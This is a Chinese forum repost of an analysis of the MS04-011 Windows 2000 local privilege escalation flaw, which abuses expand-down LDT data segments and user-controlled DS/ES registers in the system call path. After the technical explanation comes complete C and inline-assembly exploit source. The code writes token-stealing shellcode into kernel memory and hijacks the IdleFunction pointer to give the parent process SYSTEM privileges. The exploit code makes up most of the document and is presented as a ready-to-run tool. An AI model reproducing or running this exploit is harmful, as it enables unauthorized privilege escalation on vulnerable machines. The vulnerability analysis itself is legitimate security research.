发新话题
打印

[转载]MS04-011漏洞分析(2)

[转载]MS04-011漏洞分析(2)

信息来源:Whitecell技术论坛(www.whitecell.com)
文章作者:SoBeIT
     这个漏洞产生原因是由两个Windows内核设计上的缺陷共同导致的。

      第一个设计缺陷是Windows允许每个进程添加本进程的LDT描述符(Local Descriptor Table,局部描述符表),通过调用ZwSetLdtEntries可以添加和修改当前进程的LDT描述符。但是该函数忽略了一个问题,就是并没有考虑到数据段描述符中的Expand-Down标志。Expand-Down标志用于数据段描述符,当一个数据段描述符未设置该标志时,这个数据段的有效范围为Base到(Base + Limit),但是设置了该标志后,该数据段的有效范围为(Base + Limit + 1)到(Base - 1),也就是前一个地址范围的补集,或者说地址空间里的剩余部分。尤其是当设置了Limit为0时,该数据段有效的地址范围为整个地址空间。NtSetLdtEntries函数在验证要添加的LDT描述符的合法性时认为只有满足了以下3种情况才算合法:

1、Base < 0x7fff0000
2、Base <= (Base + Limit)
3、(Base + Limit) < 0x7fff0000

      这些验证是为了确保一个LDT描述符所描述的数据段不涉及到内核地址空间,但当Expand-Down标志设置后,却使这种验证形同虚设。

      第二个设计缺陷是在系统调用int 0x2e进入内核态后,系统信任由用户态传来的DS和ES寄存器的值而未做任何检查。之后在复制系统调用的参数时,会有下面这样的一段代码:

      mov    esi, edx  
      mov    ebx, [edi+0xc]
      xor    ecx, ecx
      mov    cl, byte ptr [ebx+eax]
      mov    edi, [edi+0x4]
      mov    ebx, [edi+eax*4]
      sub    esp, ecx
      shr    ecx, 2
      mov    edi, esp
      cmp    esi, _MmUserProbeAddress
      jae    kss80
      rep    movsd
      
      这段代码是把用户态堆栈的参数复制到内核堆栈,表面上没有问题,但是这段复制代码其实是从DS:ESI复制到ES:EDI,当配合前DS和ES在用户态都可以控制时,只要配合前一个设计缺陷,那么就可以向任意地址写入一定数量的数据。假设ESP为内核堆栈地址,PatchAddress为想要写入的地址,则只要设置ES所对应的LDT数据段描述符的Base为(PatchAddress - ESP)既可。

      当前ESP的值可以先通过启动一个线程来使内核堆栈的数据趋于固定,然后调用GetThreadContext来获取堆栈的大概地址,并可以计算出KiSystemService拷贝时的内核堆栈地址。根据多次实验,复制时的内核堆栈地址为前面获取的内核堆栈地址加上0x154。

      调试这个漏洞时有一点需要注意,就是如果用内核调试器在KiSystemService函数里下断点,如果断点下在rep movsd前面的任何位置(包括该条指令位置),都会破坏这个漏洞的形成条件。因为当断点触发时,已经经过了异常处理程序处理后才把控制权交给内核调试器,ES寄存器的内容已经恢复回正常值。只能把断点下在rep movsd之后,也就是从call ebx开始的地方,然后根据结果来判断前面的覆盖是否成功。

      为了拿到控制权,可以覆盖系统的一些函数指针,根据选择的函数指针不同,引发的问题也不同。我选择是覆盖KPCR+0x878的IdleFunction,因为这会在IDLE进程中调用,不关联任何用户态地址空间,所以为了能够执行提权代码,我把用户态的提权代码通过同样的漏洞拷贝到UserShareData的后半部分,也就是0xffdf0800,然后IdleFunction指向这部分代码。提权代码就是复制SYSTEM进程的Token到指定的进程,比如cmd.exe,该进程就拥有最高权限。在拷贝提权代码时,因为所有系统调用中可能的最大的参数个数为0x11个,也就是一次只能向内核拷贝0x44个字节,所以有时要分几次拷。之后要恢复IdleFunction,其实这个函数绝大多数时候等价于HalProcessorIdle,所以直接恢复成那个函数既可。不过由于覆盖了IdleFunction,所以执行提权代码时是在IDLE进程中,该进程的EPROCESS结构未挂在进程活动链表上,可以从0xffdff55c处取出NpxThread,进而得到SYSTEM进程的EPROCESS。
/*
      MS04-011 Windows Expand-Down Data Segment Local Privilege Escalation Vulnerability Exploit
                Created by SoBeIt
                           
      Main file of exploit

      Tested on:

      Windows 2000 PRO SP4 Chinese
      Windows 2000 PRO SP4 English

      Usage:ms04-011(2).exe
*/

#include <stdio.h>
#include <windows.h>

#define NTSTATUS      int
#define ProcessBasicInformation      0

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PVOID PebBaseAddress;
    ULONG AffinityMask;
    ULONG BasePriority;
    ULONG UniqueProcessId;
    ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;

__declspec(naked)
NTSTATUS
NTAPI
ZwSetLdtEntries(
      ULONG Selector0,
      ULONG Entry0Low,
      ULONG Entry0Hi,
      ULONG Selector1,
      ULONG Entry1Low,
      ULONG Entry1Hi)
{
      __asm
      {
           mov eax, 0xca
           lea edx, [esp+4]
           int 0x2e
           ret 0x18
      }
}

__declspec(naked)
NTSTATUS
NTAPI
ZwQueryInformationProcess(
      HANDLE ProcessHandle,
      ULONG InformationClass,
      PVOID ProcessInformation,
      ULONG ProcessInformationLength,
      PULONG ReturnLength)
{
      __asm
      {
           mov eax, 0x86
           lea edx, [esp+4]
           int 0x2e
           ret 0x14
      }
}

ULONG      ParentProcessId;

VOID ErrorQuit(char *msg)
{
      printf("%s\n", msg);
      ExitProcess(0);
}

VOID SetupLDTEntry(int Segment, ULONG Base)
{
      LDT_ENTRY      NewEntry;
      ULONG           Limit = 0;
      NTSTATUS      Status;

  NewEntry.LimitLow                           = (USHORT)((Limit >> 12) & 0xffff);
  NewEntry.BaseLow                                = (USHORT)(Base & 0xffff);
  NewEntry.HighWord.Bytes.BaseMid           = (UCHAR)((Base >> 16) & 0xff);
  NewEntry.HighWord.Bits.Type                = 23;
  NewEntry.HighWord.Bits.Dpl                = 3;
  NewEntry.HighWord.Bits.Pres                = 1;
  NewEntry.HighWord.Bits.LimitHi           = Limit >> 28;
  NewEntry.HighWord.Bits.Sys                = 0;
  NewEntry.HighWord.Bits.Reserved_0      = 0;
  NewEntry.HighWord.Bits.Default_Big      = 1;
  NewEntry.HighWord.Bits.Granularity      = 1;
  NewEntry.HighWord.Bytes.BaseHi           = (UCHAR)((Base >> 24) & 0xff);

  Status = ZwSetLdtEntries(Segment, *(PULONG)&NewEntry, *(((PULONG)&NewEntry) + 1), 0, 0, 0);
  if(Status < 0)
        ErrorQuit("ZwSetLdtEntries failed.\n");
}

ULONG WINAPI TempThread(PVOID pParam)
{
      return 1;
}

__declspec(naked) ExploitFunc()
{
      __asm
      {
           cli
           pushad
           mov esi, 0xffdff55c
           mov esi, dword ptr [esi]
           mov eax, dword ptr [esi+0x44]

           mov ecx, 0x8
           call FindProcess
           mov edx, eax

           mov ebx, 0xffdff9a0
           mov ecx, dword ptr [ebx]
           call FindProcess

           mov ecx, dword ptr [edx+0x12c]
           mov dword ptr [eax+0x12c], ecx

           mov edi, 0xffdff038
           mov edi, dword ptr [edi]

SearchIdle:
           inc edi
           cmp dword ptr [edi], 0xccc3f4fb
           jnz SearchIdle

           mov eax, 0xffdff878
           mov dword ptr [eax], edi
           popad
           sti
           ret

FindProcess:
        mov eax, dword ptr [eax+0xa0]
           sub eax, 0xa0
           cmp dword ptr [eax+0x9c], ecx
           jne FindProcess
           ret

           int 0x3
           nop
           nop
           int 0x3
      }
}

int main(int argc, char *argv[])
{
      HANDLE      hThread;
      ULONG      Base, PatchAddr, StackAddr, Offset;
      int           Size, Index, i;
      CONTEXT      Context;
      PROCESS_BASIC_INFORMATION pbi;
      PUCHAR      ptr;

      printf("\n MS04-011 Windows Expand-Down Data Segment Local Privilege Escalation \n\n");
      printf("\t Create by SoBeIt. \n\n");
      if(argc != 1)
      {
           printf(" Usage:%s\n\n", argv[0]);
           return 1;
      }

      if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
           ErrorQuit("ZwQueryInformationProcess failed\n");

      ParentProcessId = pbi.InheritedFromUniqueProcessId;
      if((hThread = CreateThread(NULL, 0, TempThread, NULL, CREATE_SUSPENDED, NULL)) == NULL)
           ErrorQuit("Create thread failed.\n");

      Context.ContextFlags = CONTEXT_INTEGER;
      if(!GetThreadContext(GetCurrentThread(), &Context))
           ErrorQuit("GetThreadContext failed.\n");

      printf("Kernel ESP is %x\n", Context.Esp);

      StackAddr = Context.Esp + 0x154;
      ptr = (PUCHAR)ExploitFunc;
      if(*ptr == 0xe9)
           ptr += *(PULONG)((PUCHAR)ExploitFunc + 1) + 5;

      for(Size = 0; *(PULONG)ptr != 0xcc9090cc; ptr++, Size++)
           ;

      Size = (Size / 0x44) + 1;
      for(i = 4; i < (Size + 4); i++)
      {
           Offset = (i - 4) * 0x44;
           Index = (i << 3) + 0x7;
           PatchAddr = 0xffdf0800 + 0x11 * 4 - 4;
           Base = PatchAddr - StackAddr + Offset;
           SetupLDTEntry(Index, Base);
           __asm
           {
                push es
                push Index
                pop es
                lea edx, ExploitFunc
                mov al, byte ptr [edx]
                cmp al, 0xe9
                jnz SystemCall
                mov ebx, edx
                inc ebx
                mov ebx, dword ptr [ebx]
                lea edx, dword ptr [edx+ebx+5]
                mov ecx, i
                sub ecx, 4
                imul eax, ecx, 0x44
                add edx, eax
SystemCall:
                mov eax, 0x7
                int 0x2e
                pop es
           }
      }

      PatchAddr = 0xffdff9a0;
      Base = PatchAddr - StackAddr;
      SetupLDTEntry(0x17, Base);
      __asm
      {
           push es
           push 0x17
           pop es
           mov eax, 0xc
           lea edx, ParentProcessId
           int 0x2e
           pop es
      }

      PatchAddr = 0xffdff878;
      Base = PatchAddr - StackAddr;
      SetupLDTEntry(0x1f, Base);
      __asm
      {
           push es
           push 0x1f
           pop es
           mov eax, 0xc
           push 0xffdf0800
           mov edx, esp
           int 0x2e
           pop edx
           pop es      
      }
}

TOP

发新话题